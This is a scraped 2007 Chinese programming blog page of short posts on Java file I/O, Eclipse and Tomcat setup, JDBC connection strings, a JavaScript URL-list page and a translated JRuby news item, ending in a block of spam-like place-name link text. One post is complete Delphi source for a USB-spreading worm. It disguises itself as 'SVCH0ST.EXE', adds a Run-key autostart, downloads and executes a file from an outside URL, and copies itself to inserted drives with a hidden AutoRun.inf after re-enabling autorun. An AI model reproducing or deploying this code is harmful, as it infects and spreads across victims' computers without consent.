posts - 495,  comments - 11,  trackbacks - 0
           

          1.把浮點數寫入文件


          import java.io.*;

          public class FileOutputDemo
          {
          public static void main(String[] args)
          {
          ?? FileOutputStream out;
          ?? DataOutputStream p;

          ?? try
          ?? {
          ??? out = new FileOutputStream("myfile.txt");
          ??? p = new DataOutputStream(out);
          ??? p.writeDouble(3);
          ??? p.writeDouble(4);
          ??? p.writeDouble(5);
          ??? p.close();
          ?? }
          ?? catch(Exception e)
          ?? {
          ??? System.err.println("Error writing to file");
          ?? }
          }
          }

          2.從文件中讀取浮點數


          import java.io.*;

          public class FileInputDemo
          {
          public static void main(String[] args)
          {
          ?? if(args.length==1)
          ?? {
          ??? try
          ??? {
          ???? FileInputStream f = new FileInputStream(args[0]);
          ???? DataInputStream in = new DataInputStream(f);
          ???? while(in.available() != 0)
          ???? {
          ????? System.out.println(String.valueOf(in.readDouble()));
          ???? }
          ???? in.close();
          ??? }
          ??? catch(Exception e)
          ??? {
          ???? System.out.println("File input Erroe!");
          ??? }
          ?? }
          ?? else
          ??? System.out.println("Invalid parametres");
          }
          }

          posted @ 2007-05-28 00:25 jadmin 閱讀(95) | 評論 (0)編輯 收藏
          在eclipse + MyEclipse+tomcat下配置建立J2EE工程環境需要:
          1.JDK1.5.0.6;
          2.eclipse3.1.2_SDK;
          3.MyEclips4.1.1;
          4.apache-tomcat-5.5.16;
          配置方法:
          1.安裝:JDK1.5.0.6;如:D:Studyjdk1.5.0_06;
          2.解壓:eclipse3.1.2_SDK;如:D:JavaStudyeclipse;
          3.解壓:MyEclips4.1.1;如:D:JavaStudyMyEclipse;
          4.解壓:apache-tomcat-5.5.16;如:D:JavaStudyapache-tomcat-5.5.16;
          5.設置內存:D:JavaStudyeclipse下面的eclipse.ini文件的-vmargs、-Xms256m、-Xmx512m;這里的Xms256m是eclipse可以使用的最小內存數;Xmx512是eclipse可以使用的最大內存數;這里的值根據系統的配置而定;
          6.配置MyEclipse:啟動Eclipse-->Help-->Sofware Updates-->Manage Configuration -->Eclipse Platform上面右鍵-->ADD-->Extension Location;找到"D:JavaStudyMyEclipse";重新啟動Eclipse;在標題欄里就多了一個MyEclipse的選項;
          7.配置Tomcat:啟動Eclipse-->window-->preference-->MyEclips-->application Servers-->Tomcat 5-->Enable-->Tomcat Home Directory;找到Tomcat的安裝目錄"D:JavaStudyapache-tomcat-5.5.16";
          8.配置字符編碼:啟動Eclipse-->window-->preference-->General-->Content Types-->text然后在Default encoding中輸入UTF-8-->update;依次把Java Properties File和一下的字符編碼都update為UTF-8;
          posted @ 2007-05-27 22:31 jadmin 閱讀(76) | 評論 (0)編輯 收藏

          在5月7日的Sun的CommunityOne會議上,ThoughtWorks Studios宣布他們即將推出的敏捷IT項目管理應用程序,Mingle,將是世界上第一個運行在JRuby上的商業應用程序。實際上,它可能是基于Ruby on Rails的首個商業分發產品。

          根據ThoughtWorks的說法,發起JRuby上的Mingle有很多的動機。首先,它使橫跨他們目標平臺的部署過程變得流暢。Mingle是基于Web的應用程序,它可以作為外部托管應用程序(ASP模式)使用,但是它同樣也將以商業形式許可,并作為可安裝包分發。

          特別是,Ruby on Rails應用的部署仍然要比期望的復雜得多。對于一個所在部署平臺由單獨的公司全權控制的托管應用來說,這是沒有什么問題的,但是Mingle并不打算只能被托管。它不僅僅需要把規模擴大到Twitter的級別(OK,那會有點想當然,它可能不需要達到那么大的規模),而且它同樣需要將規模“縮小”到能在一臺只有1G內存的簡單Windows XP機器上運行。在此基礎上,對Ruby on Rails部署一無所知,甚至對部署了解不多的人,都將可以安裝它。
          Mingle的可下載版本將以以下形式分發:Windows下的簡單安裝程序、Mac下的簡單.app文件(拖、放、雙擊)和“通用”Unix下的.rpm/.tgz文件。企業用戶還可選擇將Mingle部署到他們已存在的產品系統中:

          幾個月之后將要發布的Mingle 1.1,也將以.war文件的形式發布,這樣它將可以部署在任何流行的Java EE應用服務器上,并使用任何流行的數據庫服務器。以適應我們更大的客戶的需求。
          這個決策同樣也是銳意創新的產物。ThoughtWorks Studio的產品管理副總裁Chad Wathingtong稱:“很顯然ThoughtWorks樂于去推動技術的前沿陣地,當然,也因為這是一件很酷的事情。”任何人都可以一眼看出來,Mingle無疑推進了JRuby商業可用性的前沿陣地。

          Mingle代表了ThoughtWorks在面向大眾的商業產品開發領域的第一場戰役。它使用Ruby on Rails構建,由小型、專注的開發團隊開發,該團隊成立于澳大利亞悉尼,它的領導人是ThoughtWorks高級技術專家David Rice和Jon Tirsen。使用Rails的好處,得到了所有相關人員的高度認可:

          “Ruby on Rails給與了我們不可思議的生產率,并使得我們能以一個完全不同的級別處理復雜性,這在其他情況下是很難有可能的。長遠來看,這將允許我們以更低的價格交付更好的特性,對我們的客戶決定有利。”
          在內部,Mingle在Web服務器(Jetty)和數據庫(Derby)方面使用了Java技術。執行效率并沒有成為主要問題。通過簡單的集群,當前的運行時可以很輕松地支持成百個并發用戶,并且JRuby的執行效率在一直不斷得到改善。根據開發團隊所說,實驗的部署已經在單個JVM進程中包括了10 JRuby解釋器。

          6月,JRuby核心開發人員Ola Bini開始為ThoughtWorks全職工作,他將繼續著手JRuby項目,并為ThoughtWorks內部發起的JRuby相關項目提供支持,如Mingle。

          ThoughtWorks強烈地感到他們正在為許多即將出現的JRuby應用程序鋪平道路。Mingle顯然為以下的說法提供了強有力的支持證據,當時Jon Tirsen夸張地說(某些程度上可能如此):

          “JRuby即將迎來黃金時代!”
          查看英文原文:Mingle from ThoughtWorks is Big Win for JRuby

          --------------------------------------------------------------------------------

          譯者簡介:胡鍵,自2000年西安交通大學碩士畢業后一直從事軟件開發。2002年開始使用Java,在項目開發中經常采用OpenSource工具,如Ant、Maven、Hibernate、Struts等,目前正在研究信息集成方面的規范和技術。可以通過jianhgreat@hotmail.com與他聯系,或訪問博客:http://foxgem.javaeye.com/

          posted @ 2007-05-27 11:54 jadmin 閱讀(72) | 評論 (0)編輯 收藏

          <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
          <HTML>
          <HEAD>
          <TITLE> New Document </TITLE>
          <META NAME="Generator" CONTENT="EditPlus">
          <META NAME="Author" CONTENT="">
          <META NAME="Keywords" CONTENT="">
          <META NAME="Description" CONTENT="">
          <script type="text/javascript">
          function $() {
          ??? var elements = new Array();
          ??? for (var i = 0; i < arguments.length; i++) {
          ????? var element = arguments[i];
          ????? if (typeof element == 'string')
          ??????? element = document.getElementById(element);
          ????? if (arguments.length == 1)
          ??????? return element;
          ????? elements.push(element);
          ??? }
          ??? return elements;
          }

          //cody by jarry;
          String.prototype.trim = function()
          { return this.replace(/(^\s*)|(\s*$)/g, "");}
          function isExist(child,obj){
          //obj has element the child;
          ???? for(var i=0;i<obj.elements.length;i++){
          ????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
          ???????? if(obj.elements[i].value==child)return true;
          ????? }
          ???? }
          ???? return false;
          }
          function validateURL(url){
          //validateURL
          if(url.search(/^[A-Za-z0-9 -]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/)!=0){
          return false;
          //}else if(url.substring(0,4)=="www."){
          //網址不要前面的www.,如果沒用的話可以注釋掉;
          //return false;
          }else{
          return true;
          }
          }

          var strAll=unescape("%u5168%u9009");
          var canAll=unescape("%u53D6%u6D88");

          function clickchk(obj){
          var allcheck=true;
          ???? for(var i=0;i<obj.elements.length;i++){
          ????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
          ??????? if(obj.elements[i].checked==false){allcheck=false;}
          ?????? }
          ??? }
          ??? obj.elements["check"].value=allcheck?canAll:strAll;??
          }
          function addSite(obj){

          ??? var url=obj.url.value.trim();
          ??? if(url.match(/^\s*$/g) || !validateURL(url)){alert("請輸入正確網址:如mysite.com");obj.url.focus();return;}
          ??? if(isExist(url,obj)){alert("你添加的網址已經存在列表中");return;}


          ??? var list=document.getElementById("list");
          ??? var chkbox=document.createElement("input");
          ??? chkbox.type="checkbox";
          ??? chkbox.onclick=function(){clickchk(obj);}//全部選擇后check按鈕顯示取消;
          ??? chkbox.value=url;
          ??? chkbox.name="url_chkbox";
          ??? var hr=document.createElement("hr");
          ??? hr.size="0";hr.style.borderTop="1px solid gray";
          ??? var txt=document.createTextNode(url);??
          ??? var div=document.createElement("div");
          ??? div.appendChild(chkbox);
          ??? div.appendChild(txt);
          ??? div.appendChild(hr);
          ??? div.style.backgroundColor = "olive";
          ??? div.onmouseover=function(){
          ???? showDelete(this);
          ??? }
          ??
          //start add element;
          ??? list.appendChild(div);
          //end add;

          //如果已經添加了多選框則去掉禁用;
          ??? if(obj.check.disabled==true){
          ????? obj.check.disabled=false;
          ????? obj.recheck.disabled = false;
          ????? obj.remove.disabled=false;
          ????? }

          return false;
          }
          function checkall(obj){//全選or取消全選;
          var chk=obj.elements["check"];
          ???? for(var i=0;i<obj.elements.length;i++){
          ????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
          ??????? if(chk.value==strAll){//check all checkbox input;
          ??????? obj.elements[i].checked=true;
          ??????? }else{
          ???????? obj.elements[i].checked=false;
          ??????? }
          ?????????
          ????? }
          ??? }
          ??? if($('list').childNodes.length<=1)return;
          ??? chk.value=chk.value==canAll?strAll:canAll;
          ??? //更改全選/取消的顯示;
          }
          function reverseCheck(obj){
          ???? var chk=obj.elements["check"];
          ???? for(var i=0;i<obj.elements.length;i++){
          ????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
          ??????? obj.elements[i].checked = obj.elements[i].checked ? false : true;
          ????? }
          ????? clickchk(obj);
          ??? }
          }

          function del(list,obj){

          ??? var candel=false;
          ??? var i=list.childNodes.length;
          ??? var end = -1;
          //alert(list.childNodes.length+"\n"+list.innerHTML);
          ???? while(??? i > end ){??

          ?????? /* if(typeof(list.childNodes[i]) != "undefined")
          ??????? {//delete all elements;
          ??????? list.removeChild(list.childNodes[i]);????
          ??????? }*/

          ?????? var??? s=list.childNodes[i];
          /*
          //alert( s + typeof(list.childNodes[i]) );
          ??? if(typeof(s)!="undefined"??? && s.tagName){??
          ??????? var tgname = s.tagName.toUpperCase();
          ???? //alert(tgname);
          ????????? if(??? tgname == "DIV" ){
          ??? // alert(list.childNodes.length+":"+typeof(s) + s + s.tagName.toUpperCase() + s.childNodes.length + s.childNodes[0].type)
          ??????? }
          if(tgname == "DIV" && s.childNodes.length > 0 && s.childNodes[0].type.toLowerCase() =="checkbox" && s.childNodes[0].checked==true){
          ?????? //alert(s.childNodes[0].checked);
          ???? }

          }*/

          ??? if(typeof(s)!="undefined"??? && s.tagName){
          ?????????? try{
          ??????????? var tgname = s.tagName.toUpperCase();
          ????? if(tgname != "DIV" || s.childNodes.length <=0 )return;
          ????????????????? var s1 = s.childNodes[0];

          ????? if( s1.type.toLowerCase() =="checkbox" && s1.checked==true ){
          ?????? candel = true;??
          ?????? list.removeChild(s);
          ???????????? //list.removeChild(s.nextSibling.nextSibling);
          ??????????? // list.removeChild(s.nextSibling);??????
          ???????????? //list.removeChild(s);???
          ???????????? //list.removeChild(s.previousSibling);

          ??????? }???
          ??????????? }catch(ex){
          ???????????? //alert(ex.toString());?????????
          ?????????? }
          ???????? }
          ????????
          ??????? i--;
          ???? }
          ???? if(candel==false){alert("請選擇你要刪除的選項")}
          ??? obj.check.disabled=list.childNodes.length>1?false:true;
          ??? obj.recheck.disabled=list.childNodes.length>1?false:true;
          ??? obj.check.value=strAll;
          ??? obj.remove.disabled=list.childNodes.length>1?false:true;
          ?????
          }

          function showDelete(self){
          self.style.backgroundColor = "red";

          }
          </script>
          </HEAD>

          <BODY>
          <form name="sitelist" onsubmit="return addSite(this);">
          http:// <INPUT TYPE="text" size="30" NAME="url"> <INPUT TYPE="button" NAME="add" value="添加網址至列表" onclick="addSite(this.form)">
          <div style="border:1px groove blue;width:400px;height:200px;padding:5px;overflow:auto" id="list">

          <div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

          <div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

          </div>
          <INPUT TYPE="button" NAME="check" value="全選" disabled onclick="checkall(this.form)">&nbsp;&nbsp;<input type="button" value="反選" name="recheck" disabled??? onclick="reverseCheck(this.form)">&nbsp;&nbsp;<INPUT TYPE="button" NAME="remove" disabled value="刪除" onclick="del($('list'),this.form)">
          </form>
          <script>
          //頁面加載時初始化
          function init(l,f){
          ??? var list=l;
          ??? f.check.disabled=list.childNodes.length>1?false:true;
          ??? f.recheck.disabled=list.childNodes.length>1?false:true;
          ??? f.check.value=strAll;
          ??? f.remove.disabled=list.childNodes.length>1?false:true;
          }
          window.onload=function(){
          init($("list"),document.sitelist);
          }
          </script>
          </BODY>
          </HTML>

          posted @ 2007-05-27 11:42 jadmin 閱讀(72) | 評論 (0)編輯 收藏

          unit Un_Main;


          interface


          uses
          ?????? Windows, Messages, SysUtils,Forms,IniFiles;
          type
          ?????? TFrm_Main = class(TForm)
          ?????? procedure FormCreate(Sender: TObject);
          ?????? procedure FormClose(Sender: TObject; var Action: TCloseAction);
          ?????? private
          ?????? procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
          ?????? public
          ?????? { Public declarations }
          ?????? end;
          const
          ?????????? exefile = 'SVCH0ST.EXE';
          ?????????? Buffer = 'http://www.888.com/hello.exe';
          ?????????? DBT_DEVICEARRIVAL = $8000;?????? // system detected a new device
          ?????????? DBT_DEVICEREMOVECOMPLETE = $8004;?????? // device is gone
          ?????????? DBT_DEVTYP_VOLUME = $00000002;?????? // logical volume
          ?????????? DBTF_MEDIA = $0001;?????? // media comings and goings
          type
          ????? PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
          ????? TDEV_BROADCAST_HDR = packed record
          ?????? dbch_size : DWORD;
          ?????? dbch_devicetype : DWORD;
          ?????? dbch_reserved : DWORD;
          ????? end;
          ?????? PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
          ?????? TDEV_BROADCAST_VOLUME = packed record
          ?????????? dbcv_size : DWORD;
          ?????????? dbcv_devicetype : DWORD;
          ?????????? dbcv_reserved : DWORD;
          ?????????? dbcv_unitmask : DWORD;
          ?????????? dbcv_flags : WORD;
          ?????? end;


          function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
          ?????????????????????????????????????? StatusCB: Pointer): LongWord;
          ?????????????????????????????????????? stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';


          function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
          ?????????????????????????? stdcall; external 'kernel32.dll' name 'WinExec';


          var
          ?????? Frm_Main: TFrm_Main;
          ?????? exefull:string;
          implementation


          {$R *.dfm}


          function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
          var
          regkey:hkey;
          begin
          ?????? result := false;
          ?????? RegCreateKey(key,PChar(subkey),regkey);
          ?????? if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
          ?????? result := true;
          ?????? RegCloseKey(regkey);
          end;


          procedure Startup(var TheName:string);
          begin
          ?????? SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
          ?????? UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
          ?????? SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
          ?????? messagebox(0,'文件下載成功!','成功',MB_OK);
          ?????? WinExec(PChar(TheName), SW_SHOWDEFAULT);
          ?????? //Sleep(500);
          ?????? //DeleteMe;
          ?????? //freemem(@path,256);
          end;


          procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
          var
          ?????? lpdb : PDEV_BROADCAST_HDR;
          ?????? lpdbv : PDEV_BROADCAST_VOLUME;
          ?????? unitmask:DWORD;
          ?????? i:integer;
          ?????? MyIni:TIniFile;
          ?????? s:Hkey;
          ?????? value:dword ;
          ?????? inifile:string;
          begin
          ?????? lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
          ?????? case Msg.WParam of
          ?????? DBT_DEVICEARRIVAL ://有設備安裝完畢


          ?????? if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
          ?????? begin
          ?????????? lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
          ?????????? unitmask:=lpdbv.dbcv_unitmask;//取得設備的盤符
          ?????????? for i:=0 to 25 do //遍歷磁盤
          ?????????? begin
          ?????????????? if Boolean(unitmask and $1)then//看該驅動器的狀態是否發生了變化
          ?????????????? break;
          ?????????????? unitmask := unitmask shr 1;
          ?????????? end;
          ?????????? if fileexists(exefull) then?????? //向u盤拷文件
          ?????????? begin
          ?????????? copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
          ?????????? FileSetAttr(char(i+65) + ':' + exefile,$00000003);
          ?????????? end;
          ?????????? inifile:=char(i+65)+':AutoRun.inf';//ini文件
          ?????????? RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
          ?????????? value:=0;
          ?????????? RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
          ?????????? RegCloseKey(s);
          ?????????? if fileexists(inifile) then
          ?????????? begin
          ?????????? FileSetAttr(inifile,$00000000);
          ?????????? DeleteFile(inifile);
          ?????????? end;
          ?????????? MyIni := TIniFile.Create(inifile);
          ?????????? MyIni.WriteString('AutoRun', 'open',exefile);
          ?????????? FileSetAttr(inifile,$00000003);
          ?????? end;
          ????? end;
          end;


          procedure TFrm_Main.FormCreate(Sender: TObject);
          var
          s:hkey;
          value:array[0..255]of char;
          size:cardinal;
          path:array[0..255] of char;
          begin
          ?????? Application.ShowMainForm:=False;
          ?????? getsystemdirectory(path,120);
          ?????? exefull := strpas(path) + '' + exefile;
          ?????? size:=256;
          ?????? RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
          ?????? RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
          ?????? RegCloseKey(s);
          ?????? //文件存在且有自啟動
          ?????? if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
          ?????? messagebox(0,'自啟動成功!','成功',MB_OK)
          ?????? else
          ?????? Startup(exefull);//下載執行函數
          end;


          procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
          begin
          ?????? Application.Terminate;
          end;


          end.

          posted @ 2007-05-26 01:19 jadmin 閱讀(61) | 評論 (0)編輯 收藏

          /*
          ?? 用JDBC來連接數據庫有很兩種方式,如<1>JDBC:ODBC bridge, <2>直接連接方式.
          ?? 第二種方式有很多好處,它可以獨立于依賴于系統的odbc數據源,存儲數據的database
          ?? 可以自由地移動,顯得更為靈活.
          */

          import java.io.*;
          import java.sql.*;

          public class ConDBAccess
          {
          public static void main(String[] args)
          {
          ?? try
          ?? {
          ??? //Load JDBC driver
          ??? Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
          ??? /*
          ???? 這里的數據庫的url一定要寫正確,這是關鍵,其中DBQ可以絕對路徑,
          ???? 也可以是相對路徑,為了體現數據存儲路徑的/獨立性,
          ???? 你可以將數據庫copy到不同的位試一下
          ???? */
          ??? String dbUrl = "jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=Test.mdb";
          ??? Connection con = DriverManager.getConnection(dbUrl,"","");
          ??? Statement state = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
          ??? //執行SQL語句
          ??? String sql = "select * from Address";
          ??? ResultSet rs = state.executeQuery(sql);

          ??? //打印測試
          ??? if(rs != null)
          ??? {
          ???? while(rs.next())
          ???? {
          ????? System.out.println(rs.getString("Name")+"\t"+rs.getString("Age")+"\t"+rs.getString("Email"));
          ???? }
          ???? rs.close();
          ???? con.close();
          ??? }
          ?? }
          ?? catch(Exception e)
          ?? {
          ??? e.printStackTrace();
          ?? }
          }
          }//End class ConDBAccess

          /**
          附:數據庫Test.mdb的結構設計:
          ??? 字段???????? 類型
          ??? ----------------
          ??? name??????? text
          ??? sex???????? bool
          ??? age???????? int
          ??? email?????? text
          ??? -----------------------------
          自已加幾條記錄到里面就可以測出結果了.
          */

          posted @ 2007-05-26 00:57 jadmin 閱讀(85) | 評論 (0)編輯 收藏

          1、如何將字符串String轉化為整數int

          ?? int i = Integer.parseInt(str);

          ?? int i = Integer.valueOf(my_str).intValue();

          ??? 注: 字串轉成Double, Float, Long的方法大同小異。

          2、如何將字符串String轉化為Integer


          ??? Integer integer=Integer.valueOf(i)


          3、如何將整數 int 轉換成字串 String?

          答:有三種方法:

          ?? String s = String.valueOf(i);

          ?? String s = Integer.toString(i);

          ?? String s = "" + i;

          注:Double, Float, Long 轉成字串的方法大同小異。


          4、如何將整數int轉化為Integer


          ?? Integer integer=new Integer(i)


          5、如何將Integer轉化為字符串String


          ??? Integer integer=String()


          6、如何將Integer轉化為int


          ??? int num=Integer.intValue()


          7、如何將String轉化為BigDecimal


          ??? BigDecimal d_id=new BigDecimal(str)

          posted @ 2007-05-25 23:10 jadmin 閱讀(76) | 評論 (0)編輯 收藏
          1、tomcat下配置虛擬目錄

          ??? 打開TOMCAT文件下的conf\server.xml文件 ,查找到<ContextManager>標簽,并在該標簽的結束標簽</ContextManager>前面加上:

          ??? <Context path="虛擬目錄" docBase="硬盤目錄" debug="0" reloadable="true" crossContext="true"/>??

          ??? 其中path的值是虛擬目錄,docbase的值是你的硬盤的的目錄的絕對路徑。

          ??? 如找不到<ContextManager>元素,可以找

          ?????? <Host name="localhost" debug="0" appBase="webapps"
          ??????? unpackWARs="true" autoDeploy="true"
          ??????? xmlValidation="false" xmlNamespaceAware="false">

          ??? 然后添加<Context path="虛擬目錄" docBase="硬盤目錄" debug="0" reloadable="true" crossContext="true"/>??

          2、禁止tomcat目錄瀏覽,將listings設為false

          ???? <servlet>
          ???????? <servlet-name>default</servlet-name>
          ???????? <servlet-class>
          ?????????? org.apache.catalina.servlets.DefaultServlet
          ???????? </servlet-class>
          ???????? <init-param>
          ???????????? <param-name>debug</param-name>
          ???????????? <param-value>0</param-value>
          ???????? </init-param>
          ???????? <init-param>
          ???????????? <param-name>listings</param-name>
          ???????????? <param-value>false</param-value>
          ???????? </init-param>
          ???????? <load-on-startup>1</load-on-startup>
          ???? </servlet>

          3、設置友好錯誤頁面,配置web.xml

          ??? <error-page>
          ?????? <error-code>404</error-code>
          ?????? <location>/error.jsp</location>
          ??? </error-page>
          ??? <error-page>
          ?????? <error-code>500</error-code>
          ?????? <location>/error.jsp</location>
          ??? </error-page>

          4、在IE中直接打開其他擴展名的文件

          ??? 為了讓能在IE瀏覽器中自動打開其他擴展文件名的文件的設置:
          ??? 需要在WEB.XML中進行如下的設置:
          ??? 在WEB.XML中添加<mime-mapping>,其中:
          ?????? <extension>: 文件的擴展名
          ?????? <mime-type>: 除了該類型文件的可執行文件,同WINDOW注冊表中的?? /HKEY_CLASSES_ROOT下該類文件的Content Type 的值一樣.

          如能在IE中自動打開DOC,XLS,PDF文件的配置如下:

          <?xml version="1.0" ?>
          <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 1.2//EN"?? "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
          <web-app>
          ??? <mime-mapping>
          ?????? <extension>doc</extension>
          ?????? <mime-type>application/msword</mime-type>
          ??? </mime-mapping>

          ??? <mime-mapping>
          ?????? <extension>xls</extension>
          ?????? <mime-type>application/msexcel</mime-type>
          ??? </mime-mapping>

          ??? <mime-mapping>
          ?????? <extension>pdf</extension>
          ?????? <mime-type>application/pdf</mime-type>
          ??? </mime-mapping>
          </web-app>
          posted @ 2007-05-25 23:08 jadmin 閱讀(87) | 評論 (0)編輯 收藏
          J2EE包括以下技術:??
          EJB:Enterprise?? JavaBeans?? 企業JavaBean組件??
          IDL:Interface?? Definition?? Language?? 接口定義語言??
          JMS:Java?? Message?? Service?? Java消息服務??
          JNDI:Java?? Naming?? and?? Directory?? Interface?? Java命名目錄接口??
          RMI:Remote?? Method?? Invocation?? 遠程方法調用??
          JTA:Java?? Transaction?? API?? Java事務API??
          JTS:Java?? Transaction?? Service?? Java事務服務??
          Object?? Serialization:對象序列化??
          JavaMail:Java郵件服務??
          JDBC:數據庫訪問API??
          JSP:Java?? Server?? Pages??
          Servlet:??

          EJB分為三種:??
          Session?? Bean(會話BEAN)??
          Entity?? Bean(實體BEAN)??
          Message?? Driver?? Bean(消息驅動BEAN)??

          Session?? Bean分為兩種:??
          Stateless?? Session?? Bean(無狀態會話Bean)??
          Statefull?? Session?? Bean(有狀態會話Bean)??

          Entity?? Bean分為兩種:??
          CMP:Container?? Manager?? Persistence(容器管理持久性)
          BMP:Bean?? Manager?? Persistence(Bean管理持久性)??

          其他縮寫名詞:??
          DTO:Data?? Transport?? Object?? 數據傳輸對象??
          JDO:Java?? Data?? Object??
          DAO:Database?? Access?? Object?? 數據庫訪問對象??
          POJO:Proterozoic?? Java?? Object?? Java原生對象??
          VO:Value?? Object?? 值對象??
          SOAP:Simple?? Object?? Access?? Protocol?? 簡單對象訪問協議??
          posted @ 2007-05-25 23:04 jadmin 閱讀(83) | 評論 (0)編輯 收藏

          1.Oracle8/8i/9i數據庫(thin模式)

          Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
          String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl為數據庫的SID
          String user="test";
          String password="test";
          Connection conn= DriverManager.getConnection(url,user,password);

          2.DB2數據庫

          Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
          String url="jdbc:db2://localhost:5000/sample"; //sample為你的數據庫名
          String user="admin";
          String password="";
          Connection conn= DriverManager.getConnection(url,user,password);

          3.Sql Server7.0/2000數據庫

          Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
          String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb";
          //mydb為數據庫
          String user="sa";
          String password="";
          Connection conn= DriverManager.getConnection(url,user,password);

          4.Sybase數據庫

          Class.forName("com.sybase.jdbc.SybDriver").newInstance();
          String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB為你的數據庫名
          Properties sysProps = System.getProperties();
          SysProps.put("user","userid");
          SysProps.put("password","user_password");
          Connection conn= DriverManager.getConnection(url, SysProps);

          5.Informix數據庫

          Class.forName("com.informix.jdbc.IfxDriver").newInstance();
          String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
          user=testuser;password=testpassword"; //myDB為數據庫名
          Connection conn= DriverManager.getConnection(url);

          6.MySQL數據庫

          Class.forName("org.gjt.mm.mysql.Driver").newInstance();
          String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
          //myDB為數據庫名
          Connection conn= DriverManager.getConnection(url);

          7.PostgreSQL數據庫

          Class.forName("org.postgresql.Driver").newInstance();
          String url ="jdbc:postgresql://localhost/myDB" //myDB為數據庫名
          String user="myuser";
          String password="mypassword";
          Connection conn= DriverManager.getConnection(url,user,password);

          8.access數據庫直連用ODBC的

          Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
          String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
          Connection conn = DriverManager.getConnection(url,"","");
          Statement stmtNew=conn.createStatement() ;

          posted @ 2007-05-25 23:00 jadmin 閱讀(73) | 評論 (0)編輯 收藏
          僅列出標題
          共50頁: First 上一頁 40 41 42 43 44 45 46 47 48 下一頁 Last 
          主站蜘蛛池模板: 遵义市| 绥芬河市| 陵水| 文成县| 长治县| 江北区| 台安县| 克拉玛依市| 南丰县| 泸溪县| 琼结县| 育儿| 赞皇县| 聊城市| 天柱县| 合山市| 红安县| 益阳市| 高青县| 翁牛特旗| 永和县| 渭南市| 深圳市| 江都市| 商洛市| 新密市| 饶阳县| 漯河市| 黔南| 义乌市| 四川省| 镇宁| 牡丹江市| 普宁市| 青海省| 齐河县| 宜黄县| 高青县| 桓台县| 宁远县| 台江县|